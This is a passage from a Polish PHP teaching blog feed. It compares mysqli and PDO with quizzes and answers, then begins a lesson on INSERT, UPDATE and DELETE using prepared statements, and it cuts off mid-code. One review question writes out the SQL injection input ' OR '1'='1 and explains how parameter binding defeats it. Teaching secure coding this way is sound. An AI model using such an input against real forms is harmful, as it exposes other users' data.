<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$wiersz</span> <span class="token operator">=</span> <span class="token variable">$wynik</span><span class="token operator">-&gt;</span><span class="token function">fetch_assoc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;p&gt;'</span> <span class="token operator">.</span> <span class="token variable">$wiersz</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'nazwa'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'&lt;/p&gt;'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-h3">
<h3 dir="auto" data-heading="Szkielet – PDO">Szkielet – PDO</h3>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$pdo</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PDO</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'mysql:host=localhost;dbname=nazwa_bazy;charset=utf8mb4'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'root'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>
    <span class="token scope">PDO<span class="token punctuation">::</span></span><span class="token constant">ATTR_ERRMODE</span> <span class="token operator">=&gt;</span> <span class="token scope">PDO<span class="token punctuation">::</span></span><span class="token constant">ERRMODE_EXCEPTION</span><span class="token punctuation">,</span>
    <span class="token scope">PDO<span class="token punctuation">::</span></span><span class="token constant">ATTR_DEFAULT_FETCH_MODE</span> <span class="token operator">=&gt;</span> <span class="token scope">PDO<span class="token punctuation">::</span></span><span class="token constant">FETCH_ASSOC</span><span class="token punctuation">,</span>
<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token variable">$zapytanie</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'SELECT id, nazwa FROM obiekty WHERE idKontynent = :id'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'id'</span> <span class="token operator">=&gt;</span> <span class="token variable">$idKontynent</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$zapytanie</span> <span class="token keyword">as</span> <span class="token variable">$wiersz</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;p&gt;'</span> <span class="token operator">.</span> <span class="token variable">$wiersz</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'nazwa'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'&lt;/p&gt;'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token variable">$pdo</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-h3">
<h3 dir="auto" data-heading="Rozpoznawanie kodu na pierwszy rzut oka">Rozpoznawanie kodu na pierwszy rzut oka</h3>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect(</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query(</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$conn</code>&nbsp;jako pierwszy argument →&nbsp;<strong>mysqli proceduralnie</strong>&nbsp;(stary kod),</li>
<li dir="auto" data-line="1"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;bind_param('si', ...)</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;get_result()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;num_rows</code>&nbsp;→&nbsp;<strong>mysqli obiektowo</strong>,</li>
<li dir="auto" data-line="2"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new PDO(</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;fetchAll()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;rowCount()</code>&nbsp;→&nbsp;<strong>PDO</strong>.</li>
</ul>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Quiz – sprawdź się">Quiz – sprawdź się</h2>
</div>



<div class="el-p">
<p dir="auto"><strong>1.</strong>&nbsp;Z której biblioteki pochodzi każdy fragment?</p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token comment">// A</span>
<span class="token variable">$w</span> <span class="token operator">=</span> <span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">fetchAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// B</span>
<span class="token variable">$w</span> <span class="token operator">=</span> <span class="token variable">$wynik</span><span class="token operator">-&gt;</span><span class="token function">fetch_all</span><span class="token punctuation">(</span><span class="token constant">MYSQLI_ASSOC</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// C</span>
<span class="token variable">$w</span> <span class="token operator">=</span> <span class="token function">mysqli_fetch_assoc</span><span class="token punctuation">(</span><span class="token variable">$wynik</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>2.</strong>&nbsp;Przepisz to zapytanie na PDO (z parametrem nazwanym):</p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$st</span> <span class="token operator">=</span> <span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'SELECT nick FROM turysci WHERE idTurysta = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'i'</span><span class="token punctuation">,</span> <span class="token variable">$idTurysty</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>3.</strong>&nbsp;Dlaczego ten kod się wywali?</p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$pdo</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PDO</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'mysql:host=localhost;dbname=wodospady'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'root'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'SELECT * FROM obiekty WHERE idRodzaj = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'i'</span><span class="token punctuation">,</span> <span class="token variable">$idRodzaj</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>4.</strong>&nbsp;Programista twierdzi: „Przepisałem projekt z mysqli na PDO, więc jest teraz odporny na SQL injection”. Czy ma rację? Uzasadnij jednym zdaniem.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>5.</strong>&nbsp;Co trzeba dopisać na końcu skryptu egzaminacyjnego w każdej z wersji, żeby spełnić wymaganie „na końcu należy zamknąć połączenie z bazą”?</p>
</div>



<div class="el-p">
<p dir="auto"><strong>6.</strong>&nbsp;Aplikacja ma docelowo działać na MySQL, ale klient zapowiada możliwą migrację na PostgreSQL. Którą bibliotekę wybierasz i czego mimo to&nbsp;<strong>nie</strong>&nbsp;załatwi za Ciebie ten wybór?</p>
</div>



<div class="el-p">
<p dir="auto"><strong>7.</strong>&nbsp;Uzupełnij brakujący element, żeby kod działał:</p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$st</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'INSERT INTO osiagniecia (idObiekt, idTurysta) VALUES (:obiekt, :turysta)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token constant">________</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$noweId</span> <span class="token operator">=</span> <span class="token constant">________</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>8.</strong>&nbsp;Znajdź błąd:</p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$polaczenie</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">mysqli</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'localhost'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'root'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'wodospady'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span> <span class="token operator">=</span> <span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'UPDATE turysci SET nick = ? WHERE idTurysta = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'s'</span><span class="token punctuation">,</span> <span class="token variable">$nick</span><span class="token punctuation">,</span> <span class="token variable">$id</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>9.</strong>&nbsp;Który z tych zapisów kończy pracę z bazą w PDO:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">close()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">= null</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">disconnect()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code>? Wskaż wszystkie poprawne.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>10.</strong>&nbsp;Krótkie zadanie praktyczne: masz gotowy skrypt w mysqli obiektowym wypisujący listę kontynentów w pętli&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code>. Wymień&nbsp;<strong>cztery</strong>&nbsp;linie/elementy, które trzeba zmienić, żeby przenieść go na PDO.</p>
</div>



<div class="el-hr"><hr /></div>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<div class="el-p">
<p dir="auto"><strong>1.</strong>&nbsp;A – PDO, B – mysqli obiektowo, C – mysqli proceduralnie.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>2.</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$st</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'SELECT nick FROM turysci WHERE idTurysta = :id'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'id'</span> <span class="token operator">=&gt;</span> <span class="token variable">$idTurysty</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>3.</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>&nbsp;to metoda mysqli — PDO jej nie ma (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Call to undefined method PDOStatement::bind_param()</code>). W PDO dane podaje się w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">execute([...])</code>&nbsp;albo przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bindValue()</code>. Dodatkowo brakuje tu&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">charset=utf8mb4</code>&nbsp;w DSN i trybu wyjątków.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>4.</strong>&nbsp;Nie. Bezpieczeństwo daje stosowanie prepared statements i parametrów — jeśli w PDO dalej skleja zapytanie ze zmiennych (<code class="prettyprint lang-sql" style="font-size: 0.85em;">"... WHERE id = $id"</code>), podatność zostaje.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>5.</strong>&nbsp;mysqli:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;close();</code>&nbsp;PDO:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null;</code></p>
</div>



<div class="el-p">
<p dir="auto"><strong>6.</strong>&nbsp;PDO — zmiana bazy sprowadza się do zmiany DSN i sterownika. Nie załatwi za Ciebie różnic w samym SQL (typy kolumn, funkcje,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>&nbsp;vs odpowiedniki PostgreSQL) — zapytania i tak trzeba przejrzeć.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>7.</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$st</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'obiekt'</span> <span class="token operator">=&gt;</span> <span class="token variable">$idObiektu</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'turysta'</span> <span class="token operator">=&gt;</span> <span class="token variable">$idTurysty</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$noweId</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-&gt;</span><span class="token function">lastInsertId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>8.</strong>&nbsp;W zapytaniu są dwa&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, a w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>&nbsp;tylko jedna litera typu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'s'</code>). Powinno być&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('si', $nick, $id)</code>. Brakuje też&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset('utf8mb4')</code>&nbsp;i zamknięcia połączenia.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>9.</strong>&nbsp;Poprawne:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null;</code>&nbsp;oraz&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">unset($pdo);</code>.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">close()</code>&nbsp;należy do mysqli,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">disconnect()</code>&nbsp;nie istnieje.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>10.</strong>&nbsp;Na przykład: (1)&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>&nbsp;→&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">new PDO('mysql:host=...;dbname=...;charset=utf8mb4', ...)</code>&nbsp;z opcjami; (2) usunięcie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset()</code>&nbsp;(kodowanie jest w DSN); (3)&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>&nbsp;+&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>&nbsp;→&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">execute([...])</code>&nbsp;z parametrem nazwanym; (4)&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>&nbsp;+&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($w = $wynik-&gt;fetch_assoc())</code>&nbsp;→&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($st as $w)</code>&nbsp;albo&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;fetchAll()</code>; (5)&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">close()</code>&nbsp;→&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">= null</code>.</p>
</div>
</details>



<p></p>
<p>Artykuł <a href="https://kamakaczmarek.net/20-php-ktore-rozwiazanie-wybrac-kompleksowe-porownanie-mysqli-czy-pdo-obiektowe-czy-proceduralne/">20. PHP &#8211; które rozwiązanie wybrać? Kompleksowe porównanie &#8211; mysqli czy PDO, obiektowe czy proceduralne?</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</title>
		<link>https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 19 May 2019 19:46:00 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2348</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 18: połączenie z bazą, SELECT, prepared statements, SQL injection. TaskQuest Dodatek W poprzednim materiale nauczyłeś się&#160;pobierać dane&#160;z bazy używając zapytań SELECT. Teraz czas na operacje, które&#160;zmieniają dane: Te operacje są&#160;fundamentem każdej aplikacji: UWAGA:&#160;Operacje zmieniające dane są&#160;nieodwracalne! Zawsze używaj&#160;prepared statements&#160;i&#160;walidacji danych. Będziemy pracować na bazie&#160;gaming_hub&#160;z poprzedniego materiału. Upewnij się, [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/">19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 18: połączenie z bazą, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, prepared statements, SQL injection.</p>



<ol class="wp-block-list">
<li><p>To zapytanie nie zwraca żadnego wiersza, choć w tabeli są zadania bez daty wykonania. Dlaczego i jak je poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br /></code></p></li>



<li><p>Znajdź błąd:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare("SELECT id, login FROM uzytkownicy WHERE login = '?'");<br />$zapytanie-&gt;bind_param('s', $login);<br /></code></p></li>



<li><p>Zapytanie ma warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND termin &lt; ? AND xp &gt;= ?</code> (kolumny kolejno: liczba, data, liczba). Jaki będzie pierwszy argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>?</p></li>



<li><p>Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>, gdy wiersze się skończyły? Czym różni się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code>?</p></li>



<li><p>Użytkownik wpisuje w pole wyszukiwania <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Co się stanie, gdy tekst zostanie wklejony do zapytania SQL, a co gdy trafi tam przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 99)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria bazy? Uzasadnij.</p></li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi </strong></summary>
<ol class="wp-block-list">
<li>Porównanie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">=</code> nigdy nie daje prawdy — <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> znaczy „nie wiadomo”, więc warunek nie jest spełniony dla żadnego wiersza, a baza nie zgłasza błędu. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE data_wykonania IS NULL</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'?'</code> w apostrofach to zwykły tekst, a nie parametr. Zapytanie nie ma żadnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłosi błąd o niezgodnej liczbie parametrów. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = ?</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'isi'</code> — kolejno: liczba całkowita, data (przekazywana jako tekst), liczba całkowita.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca kolejny wiersz jako tablicę asocjacyjną, a po ostatnim — <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> to liczba wierszy w całym wyniku; niczego z niego nie pobiera.</li>



<li>Przy sklejaniu SQL tekst staje się częścią polecenia — warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy i zapytanie zwraca wszystkich użytkowników (SQL injection). Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> to tylko dziwny login, którego nikt nie ma: 0 wierszy, bez błędu.</li>



<li>Nie. Zapytanie wykonało się poprawnie, po prostu żaden wiersz nie pasował. Awaria (np. brak bazy) to wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_sql_exception</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>



<li>Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> przekazujemy <strong>wartości</strong>, nie nazwy kolumn — nazwa trafiłaby tam jako tekst i nic by nie posortowała. Nazwę kolumny sprawdzamy białą listą dozwolonych nazw (whitelist).</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">W poprzednim materiale nauczyłeś się&nbsp;<strong>pobierać dane</strong>&nbsp;z bazy używając zapytań SELECT. Teraz czas na operacje, które&nbsp;<strong>zmieniają dane</strong>:</p>



<ul class="wp-block-list">
<li><strong>INSERT</strong>&nbsp;&#8211; dodawanie nowych rekordów (np. rejestracja gracza, dodanie posta)</li>



<li><strong>UPDATE</strong>&nbsp;&#8211; aktualizacja istniejących danych (np. zmiana poziomu, edycja profilu)</li>



<li><strong>DELETE</strong>&nbsp;&#8211; usuwanie rekordów (np. usunięcie konta, skasowanie komentarza)</li>
</ul>



<p class="wp-block-paragraph">Te operacje są&nbsp;<strong>fundamentem każdej aplikacji</strong>:</p>



<ul class="wp-block-list">
<li>Rejestracja użytkownika → INSERT</li>



<li>Aktualizacja avatara → UPDATE</li>



<li>Usunięcie spamu → DELETE</li>



<li>System komentarzy → INSERT + UPDATE + DELETE</li>
</ul>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;Operacje zmieniające dane są&nbsp;<strong>nieodwracalne</strong>! Zawsze używaj&nbsp;<strong>prepared statements</strong>&nbsp;i&nbsp;<strong>walidacji danych</strong>.</p>



<p class="wp-block-paragraph">Będziemy pracować na bazie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>&nbsp;z poprzedniego materiału. Upewnij się, że masz utworzoną tabelę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code></p>



<p class="wp-block-paragraph"><strong>UWAGA: </strong>Przedstawione poniżej przykłady<strong> nie są zabezpieczone przed odświeżaniem strony </strong>(F5) lub ponownym kliknięciem przycisku zmieniającego dane. Każde odświeżenie strony będzie powodowało ponowne wykonanie operacji na bazie. Jak to zrobić opiszę na końcu materiału.</p>



<h2 class="wp-block-heading">INSERT &#8211; Dodawanie nowych rekordów</h2>



<h3 class="wp-block-heading">Przykład 1: Rejestracja gracza (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy i czyszczenie dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    $password_confirm = $_POST&#91;'password_confirm'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors&#91;] = "Nick jest wymagany";
    } elseif (strlen($username) &lt; 3) {
        $errors&#91;] = "Nick musi mieć minimum 3 znaki";
    } elseif (strlen($username) &gt; 50) {
        $errors&#91;] = "Nick może mieć maksymalnie 50 znaków";
    } elseif (!preg_match('/^&#91;a-zA-Z0-9_]+$/', $username)) {
        $errors&#91;] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
    }
    
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    } elseif (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors&#91;] = "Hasła nie są identyczne";
    }
    
    // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
    if (empty($errors)) {
        // BEZPIECZNE - sprawdzamy czy username już istnieje
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Nick '{$username}' jest już zajęty";
        }
        $stmt-&gt;close();
        
        // BEZPIECZNE - sprawdzamy czy email już istnieje
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE email = ?");
        $stmt-&gt;bind_param("s", $email);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Email '{$email}' jest już zarejestrowany";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli wszystko OK - dodajemy gracza do bazy
    if (empty($errors)) {
        // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // BEZPIECZNE - INSERT z prepared statement
        $stmt = $db-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt-&gt;bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt-&gt;execute()) {
            // Pobieramy ID dodanego gracza
            $new_player_id = $stmt-&gt;insert_id;
            
